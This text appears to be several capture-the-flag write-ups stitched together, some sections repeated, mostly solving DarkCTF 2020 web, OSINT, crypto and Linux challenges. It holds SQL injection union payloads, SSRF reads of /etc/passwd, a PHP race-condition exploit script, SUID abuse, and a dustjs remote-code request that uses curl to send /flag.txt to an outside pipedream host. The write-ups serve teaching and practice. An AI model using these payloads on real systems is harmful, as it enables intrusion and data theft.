# Linux## linux starter#### Description>Don't Try to break this jail>>ssh [email protected] -p 8001 password : wolfie### SolutionAfter we connect, we see in the home directory 3 folders. From these, two are interesting because are owned by root.

As you can see, we do not have read and execute permissions on these ones. Doing an `ls -la imp/` shows us that the folder contains the flag and we can get it with `cat imp/flag.txt`.

For this challenge you could also read the .bash_history file and get some hints.
Flag: darkCTF{h0pe_y0u_used_intended_w4y}
## Secret Vault#### Description>There's a vault hidden find it and retrieve the information. Note: Do not use any automated tools.>>ssh [email protected] -p 10000>>Alternate: ssh [email protected] -p 10000 password: wolfie### Solution
We find a hidden directory under `/home` called `.secretdoor/`. Inside we found a binary called `vault` that expects a specific pin in order to "unlock the vault".
I used the next one liner in order to find the right pin:```bashnr=0; while true; do nr=$((nr+1)); if [[ $(./vault $nr) != *"wrong"* ]]; then ./vault $nr; echo $nr; fi; done;```
By Base85 decoding the string we get the flag.
Flag: darkCTF{R0bb3ry_1s_Succ3ssfullll!!}
## Squids#### Description>Squids in the linux pool>>Note: No automation tool required.>>ssh [email protected] -p 10000 password: wolfie### SolutionBased on the title, it might have something to do with suid binaries, so let's do a `sudo -l`. This gives us `Sorry, user wolf may not run sudo on 99480b7da54a.`Let's try to find suid binaries with `find`. Running `find / -type f -perm -u=s 2>/dev/null` shows us the next binaries:
The interesting one is `/opt/src/src/iamroot`. Just running it, with no arguments gives us a segmentation fault error. By forwarding an argument we get the error message `cat: a: No such file or directory`. Seems that we can run `cat` with the owner's privileges and the owner is root. Running `./iamroot /root/flag.txt` gives us the flag.

Flag: darkCTF{y0u_f0und_the_squ1d}
|
##### Table of Contents- [Web](#web) - [Source](#source) - [So_Simple](#so-simple) - [Apache Logs](#apache-logs) - [Simple_SQL](#simple-sql) - [Dusty Notes](#dusty-notes) - [Agent U](#agent-u) - [PHP Information](#php-information) - [Chain Race](#chain-race)- [OSINT](#osint) - [Dark Social Web](#dark-social-web)- [Forensics](#forensics) - [AW](#aw)- [Crypto](#crypto) - [haxXor](#haxxor)- [Misc](#misc) - [Minetest 1](#minetest1)- [Linux](#linux) - [linux starter](#linux-starter) - [Secret Vault](#secret-vault) - [Squids](#squids)
# Web## Source#### Description>Don't know source is helpful or not !!
### SolutionWe get the source code of the challenge (you can see it below):```php<html> <head> <title>SOURCE</title> <style> #main { height: 100vh;} </style> </head> <body><center><link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css"> 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> darkCTF{}</div>'); } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Ohhhhh!!! Very Close </div>'); } } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Nice!!! Near But Far</div>'); }} else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Ahhhhh!!! Try Not Easy</div>');}?></center>
darkCTF{}
Ohhhhh!!! Very Close
Nice!!! Near But Far
Ahhhhh!!! Try Not Easy
</body></html>```
In order to get the flag we need to pass the next validations:```php$web = $_SERVER['HTTP_USER_AGENT'];if (is_numeric($web)){ if (strlen($web) < 4){ if ($web > 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> darkCTF{}</div>');```- \$web = \$_SERVER['HTTP_USER_AGENT']; represents the User-Agent header- \$web needs to be numeric- \$web needs to have a length smaller than 4- \$web needs to be bigger than 10000
darkCTF{}
In PHP, we can provide numbers as exponentials expressions and what I mean by that are expressions like `5e52222`. This will translate into 5 * 10 ^ 52222.Knowing this, we fire up Burp, change the `User-Agent` to `9e9` which:- is numeric- has a length of 3- it is equals to 9000000000 which is bigger than 10000
After hitting send we get the flag.
Flag: darkCTF{changeing_http_user_agent_is_easy}
## So_Simple#### Description>"Try Harder" may be You get flag manually>>Try id as parameter### SolutionWe get a link that displays a simple page that says try harder. The only clue I could find on how to start finding a vulnarblity was from the description. I tried a get request with `id` as parameter with the value test and I compared the result with a request that does not have the parameter.
The left panel contains the response from the request with the `id` parameter set to `test`.

I noticed that the server responds with an additional `font` tag when the parameter is present, so I tried an input like `';"//` and I got a MySQL error. Now it is clear that the parameter is vulnerable to SQL injection. Below is a table with the payloads that I used and the results. I used as resource [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) repo.
Payload | Result | Summary--------|--------|--------`' union select 1, 2, group_concat("~", schema_name, "~") from information_schema.schemata where '1' = '1` | `~information_schema~,~id14831952_security~,~mysql~,~performance_schema~,~sys~` | Number of columns of current table and databases names`' union select 1, 2, group_concat("~", table_name, "~") from information_schema.tables where table_schema='id14831952_security` | `~emails~,~referers~,~uagents~,~users~` | Table names from id14831952_security`' union select 1, 2, group_concat("~", column_name, "~") from information_schema.columns where table_name='users` | `~id~,~username~,~password~,~USER~,~CURRENT_CONNECTIONS~,~TOTAL_CONNECTIONS~` | Column names from table users`' union select 1, 2, group_concat("~", username, "~") from users where 'a'='a` | `~LOL~,~Try~,~fake~,~its secure~,~not~,~dont read~,~try to think ~,~admin~,~flag~` | Values from column username, table users`' union select id, password, username from users where username='flag` | `darkCTF{uniqu3_ide4_t0_find_fl4g}` | Got the flag, it was in the password column
Flag: darkCTF{uniqu3_ide4_t0_find_fl4g}
## Apache Logs#### Description >Our servers were compromised!! Can you figure out which technique they used by looking at Apache access logs.>>flag format: DarkCTF{}
### SolutionWe get a text file with logs of the requests made. For example:```text192.168.32.1 - - [29/Sep/2015:03:28:43 -0400] "GET /dvwa/robots.txt HTTP/1.1" 200 384 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```
Looking into them, we can see that someone makes some login attempts, a registration and it tries a few endpoints. By the final of the file we have some SQL injection attempts. There are 3 interesting logs, let us look into them.
```text192.168.32.1 - - [29/Sep/2015:03:37:34 -0400] "GET /mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C+108%2C+97%2C+103%2C+32%2C+105%2C+115%2C+32%2C+83%2C+81%2C+76%2C+95%2C+73%2C+110%2C+106%2C+101%2C+99%2C+116%2C+105%2C+111%2C+110%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details HTTP/1.1" 200 9582 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=something&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```Notice that the `username` parameter contains what appears to be a SQLi payload. URL decoding it gives us `' union all select 1,String.fromCharCode(102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110),3 --+`. I used Javascript to convert the integers to characters with the next two lines of code:
```jslet integersArray = [102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110];let charactersArray = integersArray.map(nr =>String.fromCharCode(nr));console.log(charactersArray.join(''));```This gave me `flag is SQL_Injection`, but this is not the flag, I tried it. Let us look further.
```text192.168.32.1 - - [29/Sep/2015:03:38:46 -0400] "GET /mutillidae/index.php?csrf-token=&username=CHAR%28121%2C+111%2C+117%2C+32%2C+97%2C+114%2C+101%2C+32%2C+111%2C+110%2C+32%2C+116%2C+104%2C+101%2C+32%2C+114%2C+105%2C+103%2C+104%2C+116%2C+32%2C+116%2C+114%2C+97%2C+99%2C+107%29&password=&confirm_password=&my_signature=®ister-php-submit-button=Create+Account HTTP/1.1" 200 8015 "http://192.168.32.134/mutillidae/index.php?page=register.php" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```Decoding the payload gives us `CHAR(121, 111, 117, 32, 97, 114, 101, 32, 111, 110, 32, 116, 104, 101, 32, 114, 105, 103, 104, 116, 32, 116, 114, 97, 99, 107)` that represents `you are on the right track`. Cool, let us move forward.
```text192.168.32.1 - - [29/Sep/2015:03:39:46 -0400] "GET /mutillidae/index.php?page=client-side-control-challenge.php HTTP/1.1" 200 9197 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C%2B108%2C%2B97%2C%2B103%2C%2B32%2C%2B105%2C%2B115%2C%2B32%2C%2B68%2C%2B97%2C%2B114%2C%2B107%2C%2B67%2C%2B84%2C%2B70%2C%2B123%2C%2B53%2C%2B113%2C%2B108%2C%2B95%2C%2B49%2C%2B110%2C%2B106%2C%2B51%2C%2B99%2C%2B116%2C%2B49%2C%2B48%2C%2B110%2C%2B125%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```
Decoding the payload gives us a similar array of numbers that represents `flag is DarkCTF{5ql_1nj3ct10n}`
Flag: DarkCTF{5ql_1nj3ct10n}
## Simple_SQL#### Description>Try to find username and password>[Link](http://simplesql.darkarmy.xyz/)
### SolutionGoing to the provided link and looking at the source code of the page, we can see the next clue: ` `Firing up Burp and fuzzing around the `id` parameter, we notice that we can inject SQL with `1 or 2=2`, getting as a response `Username : LOL Password : Try `.
I wanted to know what are the first 10 entries, so I went with `id=1` and I stopped at `id=9` because that entry contains the flag, so no SQLi needed.
Flag: darkCTF{it_is_very_easy_to_find}
## Dusty Notes #### Description>Sometimes some inputs can lead to flagPS :- All error messages are intended ### SolutionWe get a link that gives us the next page:
Long story short, we can add and delete notes. Playing with some requests in Burp I noticed that the cookie changes on every new note added or deleted. It turns out the cookie stores an array of objects in the next form: `j:[{"id":1,"body":"Hack this"}]`I assume this is some kind of serialized value that I need to exploit (not really, keep reading), but I have no idea what programming language runs on the server, so I modified the cookie into `j:[{"id":1,"body":"Hack this"},{"id":1,"body":__FILE__}]` hoping to find out more.Fortunately, the server responded with an error message that tells us that the server runs on Node.js.```textTypeError: note.filter is not a function at /app/app.js:96:34 at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at next (/app/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at /app/node_modules/express/lib/router/index.js:281:22 at param (/app/node_modules/express/lib/router/index.js:354:14) at param (/app/node_modules/express/lib/router/index.js:365:14) at Function.process_params (/app/node_modules/express/lib/router/index.js:410:3) at next (/app/node_modules/express/lib/router/index.js:275:10) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:91:12) at trim_prefix (/app/node_modules/express/lib/router/index.js:317:13) at /app/node_modules/express/lib/router/index.js:284:7 at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12) at next (/app/node_modules/express/lib/router/index.js:275:10) at urlencodedParser (/app/node_modules/body-parser/lib/types/urlencoded.js:82:7)```However, this doesn't give us much, so fuzzing a bit more I get the next error message for `j:[{"id":1,"body":["Hack this'"]}]`:
```json{"stack":"SyntaxError: Unexpected string\n at Object.if (/home/ctf/node_modules/dustjs-helpers/lib/dust-helpers.js:215:15)\n at Chunk.helper (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:769:34)\n at body_1 (evalmachine.<anonymous>:1:972)\n at Chunk.section (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:654:21)\n at body_0 (evalmachine.<anonymous>:1:847)\n at /home/ctf/node_modules/dustjs-linkedin/lib/dust.js:122:11\n at processTicksAndRejections (internal/process/task_queues.js:79:11)","message":"Unexpected string"}```Looking into this response, I noticed the error is thrown from `dustjs`. I didn't know about it, but I searched for `dustjs exploit` and I found some good articles ([here's one](https://artsploit.blogspot.com/2016/08/pprce2.html)) about a RCE vulnerability.
It seems that dustjs uses eval for interpreting inputs. However, the library does sanitize the input if *it is a string*. Providing anything else as input will let us bypass the sanitization and we can provide an array when creatin a new message.
I didn't find a way to return the content of the flag inside the response, so I had to send it to a remote server (I used [pipedream](https://pipedream.com) as host).Adjust the payload used in the article, we'll have the next request:
```textGET /addNotes?message[]=x&message[]=y'-require('child_process').exec('curl%20-F%20"x%3d`cat%20/flag.txt`"%20https://en5dsa3dt3ggpvb.m.pipedream.net')-' HTTP/1.1```This will make `message` an array, so it will bypass the sanitization, and it will take the content of `/flag.txt` and send it with curl to my host. Going to pipedream I can see the flag.
Flag: darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}
## Agent U#### Description>Agent U stole a database from my company but I don't know which one. Can u help me to find it?>>http://agent.darkarmy.xyz/>>flag format darkCTF{databasename}### SolutionGoing to the given link we see a simple page with a login form. Looking at the source code we see the next line: ` `.Using these credentials, the server responds with the same page plus the next information:```textYour IP ADDRESS is: 141.101.96.206<font color= "#FFFF00" font size = 3 ></font><font color= "#0000ff" font size = 3 >Your User Agent is: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0</font>```Based on the challenge title and description I tried to insert some SQL injection into the User-Agent header.
I used as input `U'"` and got a MySQL error message. Cool.The error message is: `You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"', '141.101.96.206', 'admin')' at line 1`

From this point on I tried a lot of things like UNION SELECT, GROUP_CONCAT, type conversion etc., but nothing worked.In the end, I tried to call a a function that I assumed it doesn't exist and, since the functions are attached to the database, the response gave me the name of the database: `ag3nt_u_1s_v3ry_t3l3nt3d`

Flag: darkCTF{ag3nt_u_1s_v3ry_t3l3nt3d}
## PHP Information#### Description>Let's test your php knowledge.>>Flag Format: DarkCTF{}>>http://php.darkarmy.xyz:7001### SolutionGoing to that link we get the source code of a php page. It seems that we need to pass some conditions in order to get the flag.
First condition:```phpif (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['darkctf'])){ $darkctf = $res['darkctf']; }}
if ($darkctf === "2020"){ echo "<h1 style='color: chartreuse;'>Flag : $flag</h1>";} ```We need to provide a query parameter with the name `darkctf` and the value `2020`. This will not give us the flag, but the first part of it: `DarkCTF{`
Second condition:```phpif ($_SERVER["HTTP_USER_AGENT"] === base64_decode("MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_1</h1>";} ```We need to change the value from User-Agent header to match the decoded value of `MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==` which is `2020_the_best_year_corona`. Thill will get use the second part of the flag: `very_`
Third condition:```phpif (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['ctf2020'])){ $ctf2020 = $res['ctf2020']; } if ($ctf2020 === base64_encode("ZGFya2N0Zi0yMDIwLXdlYg==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_2</h1>"; } } }```We need to provide a query string parameter with the name `ctf2020` and the value must be the base64 *encoded* value of `ZGFya2N0Zi0yMDIwLXdlYg==`.This gives us `nice`.
The last thing:```phpif (isset($_GET['karma']) and isset($_GET['2020'])) { if ($_GET['karma'] != $_GET['2020']) if (md5($_GET['karma']) == md5($_GET['2020'])) echo "<h1 style='color: chartreuse;'>Flag : $flag_3</h1>"; else echo "<h1 style='color: chartreuse;'>Wrong</h1>"; } ```So, we need to provide two more query parameters: one named `karma` and one named `2020`. The md5 hash of these two must be equal, but without providing the same string for both parameters. We could search for a md5 collision, meaning that we need to find two strings with the same hash, but it is a simpler way here.Notice that the hash results are compared with a weak comparison `==` and we can levarage this by using type juggling in our advantage.What we want is to find two strings that will have the md5 hash strating with `0e`. Why is that? Well, the php will try to convert the string into an integer because of the `e` and the weak comparison. For example, `0e2` will be onverted into `0 * 10 ^ 2` which is of course 0. So, by exploiting this weak comparison we want to achive `0 == 0` which will be true.I took two strings from this [article](https://www.whitehatsec.com/blog/magic-hashes/) that have the md5 hashes starting with `0e`: `Password147186970!` and `240610708`This will give us the rest of the flag: `_web_challenge_dark_ctf}`
Final request from Burp:
Flag: DarkCTF{very_nice_web_challenge_dark_ctf}
## Chain Race#### Description>All files are included. Source code is the key.>>http://race.darkarmy.xyz:8999### SolutionThe link prompts us with the next page:
Providing an URL, the server returns the content from that address, meaning that some requests are made in back-end. My first though was that this is a code injection vulnerability, but that is not the case. Providing as input `file:///etc/passwd` we can read the content from `/etc/passwd`.

Knowing that we can read files on disk, let us get some. The requests with URLs are made to `testhook.php`, so that is our first target. Trying `file:///var/www/html/testhook.php` gives us the source code of `testhook.php` and tells us that this is the location of the server.
```php
```
So, the value from `$_POST["handler"]` is used to make a request using `curl`. Researching a little about this module does not give us more than we already know. Time to go back to the `/etc/passwd` file.Note the last entry from the file: `localhost8080:x:5:60:darksecret-hiddenhere:/usr/games/another-server:/usr/sbin/nologin`This hint suggests that another server is running on port 8080. However, the server is not exposed externally, so it cannot be accessed with http://race.darkarmy.xyz:8080.Let's do a Server-Side Request Forgery by providing as input in the form from the main page `http://localhost:8080`. This gives us the next source code:
```php
Listen 443</IfModule>
<IfModule mod_gnutls.c>Listen 443</IfModule>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet```
Reading `/etc/apache2/sites-enabled/000-default.conf` gave us the location of the second server:
```text<VirtualHost *:8080>DocumentRoot /var/www/html1</VirtualHost>```
We can get the content of `index.php`, but not from `flag.php`. However, it was a nice try.
Coming back to the source code from `http://localhost:8080`:There are some conditions that we need to pass in order to get the flag. The first one:
```phpif(!(isset($_GET['user']) && isset($_GET['secret']))){ highlight_file("index.php"); die();}
if (($_GET['secret'] == "0x1337") || $_GET['user'] == "admin") { die("nope");}``` - Both `secret` and `user` must have a value - `secret` must not be equal to `0x1337` (weak comparison) - `user` must not be equal with `admin`
Second condition:```php$login_1 = 0;$login_2 = 0;
$login_1 = strcmp($_GET['user'], "admin") ? 1 : 0;
if (strcasecmp($_GET['secret'], "0x1337") == 0){ $login_2 = 1;}
if ($login_1 && $login_2) { // third condition, will be discussed next}````$login_1 && $login_2` must evaluate to `true` and for that we need: - `user` must start with `admin` - `strcasecmp($_GET['secret'], "0x1337")` must be equal with `0` (weak comparison)
The third condition is not related to `user` and `secret` so let us summarize up until this point what we need.
- `user` must not be equal with `admin` and it must strart with `admin` - Solution: set `user` equal with `admin1` - `secret` must not be equal with `0x1337` (weak comparison), but it must satisfy `strcasecmp($_GET['secret'], "0x1337") == 0` - Any other value that after type juggling is not equal with `0x1337` it is good - We need to bypass `strcasecmp($_GET['secret'], "0x1337") == 0` because, normally, the result would be 0 only if the strings are identical at byte level - Solution: make `secret` an array. This way `strcasecmp` will return `false` that will be equal to `0` due to the weak comparison
Let's check the last condition:
```phpsession_start();
$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));session_destroy();
file_put_contents($temp_name, "your_fake_flag");
if ($login_1 && $login_2) { if(@unlink($temp_name)) { die("Nope"); } echo $flag;}```In order to get the flag `unlink` needs to return `false`. Let's get line by line to fully understand what happens here.
- `$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));` - This will be the name of the file that will be saved on disk - Is the result of SHA1 hashing the MD5 hash of `date("ms").@$_COOKIE['PHPSESSID']` - `date("ms")` will return the month and the second of the current time (e.g. `0956`, where `09` is the month and `56` the seconds) - `@$_COOKIE['PHPSESSID']` will return the value of the cookie named `PHPSESSID`. The `@` will surpress any error or warning message.- `file_put_contents($temp_name, "your_fake_flag");` - Write `your_fake_flag` into a file that has as name the value from `$temp_name` - If the file doesn't exist it will be created- `if(@unlink($temp_name)) { die("Nope"); }` - `unlink` will attempt to delete the file - If needs to fail in order to retrieve the flag
In order to make `unlink` call fail, we need to open the file for reading right when `unlink` will attempt to delete it. This is called a race condition and we need to exploit it. We can read the file using the form from the first server by providing as input `file:///var/www/html/file-name`, but we have a problem, we need to anticipate the name of the file. Let's look again at the line where the file name is made: `$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));`
It is a little trick here. You could not guess the value of the session cookie, but here the cookie is not set inside the `$_COOKIE` object even if it the session was initialied. And since the `@` is used, any error or warning will be surpressed, we do not need to worry about it, it will be an empty string.
So, `sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));` is equivalent with `sha1(md5(date("ms")))`. Now, we can work with this.
I used the script below in order to exploit the race condition, tackin into account all the considerations mentioned above:
```php 'http://localhost:8080/?user=admin1&secret[]=1'];
$ch_flag_body = http_build_query($ch_flag_handler);
$flag = '';// looping until we get the flag// a race condition is somewhat not deterministic and requires multiple attemptswhile(strpos($flag, 'dark') === false) { // initialize curl object that will contain the flag $ch_flag = curl_init(); curl_setopt($ch_flag, CURLOPT_URL, $url); curl_setopt($ch_flag, CURLOPT_POST, true); curl_setopt($ch_flag, CURLOPT_POSTFIELDS, $ch_flag_body); curl_setopt($ch_flag, CURLOPT_RETURNTRANSFER, 1);
// initialize curl object for exploiting race condition $tmp_file = sha1(md5(date("ms"))); // generate the same file name $url_tmp_file = "file:///var/www/html/".$tmp_file; $ch_race_handler = [ 'handler' => $url_tmp_file ]; $ch_race_body = http_build_query($ch_race_handler);
$ch_race = curl_init(); curl_setopt($ch_race, CURLOPT_URL, $url); curl_setopt($ch_race, CURLOPT_POST, true); curl_setopt($ch_race, CURLOPT_POSTFIELDS, $ch_race_body); curl_setopt($ch_race, CURLOPT_RETURNTRANSFER, 1);
// multi handler curl object for launching the 2 reqeusts in parallel $mh = curl_multi_init(); curl_multi_add_handle($mh, $ch_flag); curl_multi_add_handle($mh, $ch_race);
// launch requests $active = null; do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM);
while ($active && $mrc == CURLM_OK) { if (curl_multi_select($mh) != -1) { do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM); } }
// read response $flag = curl_multi_getcontent($ch_flag); $file_content = curl_multi_getcontent($ch_race); echo("Flag: ".$flag." -> TMP url: ".$url_tmp_file." -> File: ".$file_content."\n"); // for debugging
curl_multi_remove_handle($mh, $ch_flag); curl_multi_remove_handle($mh, $ch_race); curl_multi_close($mh);}?>```After 1 minute we get the flag:
Flag: darkCTF{9h9_15_50_a3fu1}
# OSINT## Dark Social Web#### Description>0xDarkArmy has 1 social account and DarkArmy uses the same name everywhere>>flag format: darkctf{}
### SolutionBy the provided description I decided to start by searching for accounts with the username `0xDarkArmy`. For this I used [sherlock](https://github.com/sherlock-project/sherlock) and I got the next results:

I checked all of them and I found something on the [reddit page](https://www.reddit.com/user/0xDarkArmy/), a post meant for the CTF:

The post contains a QR image.
I used https://qrscanneronline.com/ to decode it and I got the next link: https://qrgo.page.link/zCLGd. Going to this address redirects us to an onion link: http://cwpi3mxjk7toz7i4.onion/
Moving to Tor, we get a site with a static template. Checking the `robots.txt` file give us half of flag:

Now, for the other half I tried the next things with no success:- Checked the source code- Checked the imported scripts and stylesheets- Checked the requests made- Compared the source code of the template from the official page with the source code from this site - source code was identical
I knew that the flag must be somewhere on this site, so I started looking for directory listing, but with the developer tools open (I wanted to see the status codes returned).
First thing I tried looking in the folders with images, then I took folders from the imported stylesheets.

When I made a GET request to http://cwpi3mxjk7toz7i4.onion/slick/ I noticed a custom HTTP Header in the response. That header contains the rest of the flag.

Flag: darkctf{S0c1a1_D04k_w3b_051n7}
# Forensics## AW#### Description>"Hello, hello, Can you hear me, as I scream your Flag! "
### SolutionAttached to this challenge is a `.mp4` file called `Spectre`. There are indiciations that we might get the flag from a spectogram, but for that we must strip the audio from the video file.We can achieve that with `ffmpeg -i Spectre.mp4 audio.mp3`.Next, I used [Sonic Visualizer](#https://www.sonicvisualiser.org/) to analyze the file. I added a spectogram, played a little with the settings to better view the flag and I was able to extract it.

Flag: darkCTF{1_l0v3_5p3ctr3_fr0m_4l4n}
# Crypto## haxXor#### Description>you either know it or not take this and get your flag>>5552415c2b3525105a4657071b3e0b5f494b034515### SolutionBy the title and description, we can assume that the given string was XORed and we can see that the string is in HEX.First thing, we'll asume that the flag will have the standard format, so we'll search for a key that will give us `darkCTF{`.I used an adapted version of the script provided in this [write-up](https://medium.com/@apogiatzis/tuctf-2018-xorient-write-up-xor-basics-d0c582a3d522) and got the key.
Key: `1337hack`XORing the string with this key gives us the flag.
Flag: darkCTF{kud0s_h4xx0r}
# Misc## Minetest 1#### Description>Just a sanity check to see whether you installed Minetest successfully and got into the game### SolutionInstalled minetest with `sudo apt-get install minetest`, moved the world with the mods into the `~/.minetest/worlds` and started the world.The world contains a simple logic circuit. If we make the final output positive, we get the flag.

Flag: DarkCTF{y0u_5ucess_fu11y_1ns7alled_m1n37e57}
# Linux## linux starter#### Description>Don't Try to break this jail>>ssh [email protected] -p 8001 password : wolfie### SolutionAfter we connect, we see in the home directory 3 folders. From these, two are interesting because are owned by root.

As you can see, we do not have read and execute permissions on these ones. Doing an `ls -la imp/` shows us that the folder contains the flag and we can get it with `cat imp/flag.txt`.

For this challenge you could also read the .bash_history file and get some hints.
Flag: darkCTF{h0pe_y0u_used_intended_w4y}
## Secret Vault#### Description>There's a vault hidden find it and retrieve the information. Note: Do not use any automated tools.>>ssh [email protected] -p 10000>>Alternate: ssh [email protected] -p 10000 password: wolfie### Solution
We find a hidden directory under `/home` called `.secretdoor/`. Inside we found a binary called `vault` that expects a specific pin in order to "unlock the vault".
I used the next one liner in order to find the right pin:```bashnr=0; while true; do nr=$((nr+1)); if [[ $(./vault $nr) != *"wrong"* ]]; then ./vault $nr; echo $nr; fi; done;```
By Base85 decoding the string we get the flag.
Flag: darkCTF{R0bb3ry_1s_Succ3ssfullll!!}
## Squids#### Description>Squids in the linux pool>>Note: No automation tool required.>>ssh [email protected] -p 10000 password: wolfie### SolutionBased on the title, it might have something to do with suid binaries, so let's do a `sudo -l`. This gives us `Sorry, user wolf may not run sudo on 99480b7da54a.`Let's try to find suid binaries with `find`. Running `find / -type f -perm -u=s 2>/dev/null` shows us the next binaries:
The interesting one is `/opt/src/src/iamroot`. Just running it, with no arguments gives us a segmentation fault error. By forwarding an argument we get the error message `cat: a: No such file or directory`. Seems that we can run `cat` with the owner's privileges and the owner is root. Running `./iamroot /root/flag.txt` gives us the flag.

Flag: darkCTF{y0u_f0und_the_squ1d}
|
Navigating to the given page gives us a page saying: > "My Second Favourite Pasta Sauce”.
> "This is my second favourite pasta sauce! I have safely hidden my favourite sauce!” with a picture of a jar of Leggo’s pasta sauce.
Right-clicking and trying to use `Ctrl+U `to view the source give a popup that simply says `not allowed`. However, `Ctrl+Shift+I `still works, allowing us to navigate to `Sources` and look at `disableMouseRightClick.js`, giving us the flag.
**Flag**: `DUCTF{n0_k37chup_ju57_54uc3_r4w_54uc3_9873984579843}` |
###### The challenge text is as follows (line-separated for readability):
```Ypw'zj zwufpp hwu txadjkcq dtbtyu kqkwxrbvu! Mbz cjzg kv IAJBO{ndldie_al_aqk_jjrnsxee}. Xzi utj gnn olkd qgq ftk ykaqe uei mbz ocrt qi ynlu, etrm mff'n wij bf wlny mjcj :).```
###### We ran this text through a few ROT decoders, but weren’t able to get anything sensible out of it. However, looking again at the structure of the sentences, we knew that the flag would have to be in the format of `DUCTF{...}`. There was only one place in the text that had this pattern:
`IAJBO{ndldie_al_aqk_jjrnsxee}`
###### It seemed impossible for all the letters to be shifted the same way, but I pointed out that there could possibly multiple ciphers, i.e. each letter was shifted a different amount. Ruju wrote out the messages and noticed the same thing - in fact, we noticed that the ciphers increased by 1 each time (i.e., had a shifting i).
> D to I = 5
> A to U = 6
> J to C = 7
> B to T = 8
> O to F = 9.
###### With this in mind, we set to counting out some letters to form the flag. It took us a couple tries, but we ended up with:
`DUCTF{crypto_is_fun_kjqlptzy}`###### Which looked like it had to be a mistake. (What the hell is kjqlptzy?)
###### But it wasn’t.
**Flag**: `DUCTF{crypto_is_fun_kjqlptzy}` |
##### Table of Contents- [Web](#web) - [Source](#source) - [So_Simple](#so-simple) - [Apache Logs](#apache-logs) - [Simple_SQL](#simple-sql) - [Dusty Notes](#dusty-notes) - [Agent U](#agent-u) - [PHP Information](#php-information) - [Chain Race](#chain-race)- [OSINT](#osint) - [Dark Social Web](#dark-social-web)- [Forensics](#forensics) - [AW](#aw)- [Crypto](#crypto) - [haxXor](#haxxor)- [Misc](#misc) - [Minetest 1](#minetest1)- [Linux](#linux) - [linux starter](#linux-starter) - [Secret Vault](#secret-vault) - [Squids](#squids)
# Web## Source#### Description>Don't know source is helpful or not !!
### SolutionWe get the source code of the challenge (you can see it below):```php<html> <head> <title>SOURCE</title> <style> #main { height: 100vh;} </style> </head> <body><center><link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css"> 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> darkCTF{}</div>'); } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Ohhhhh!!! Very Close </div>'); } } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Nice!!! Near But Far</div>'); }} else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Ahhhhh!!! Try Not Easy</div>');}?></center>
darkCTF{}
Ohhhhh!!! Very Close
Nice!!! Near But Far
Ahhhhh!!! Try Not Easy
</body></html>```
In order to get the flag we need to pass the next validations:```php$web = $_SERVER['HTTP_USER_AGENT'];if (is_numeric($web)){ if (strlen($web) < 4){ if ($web > 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> darkCTF{}</div>');```- \$web = \$_SERVER['HTTP_USER_AGENT']; represents the User-Agent header- \$web needs to be numeric- \$web needs to have a length smaller than 4- \$web needs to be bigger than 10000
darkCTF{}
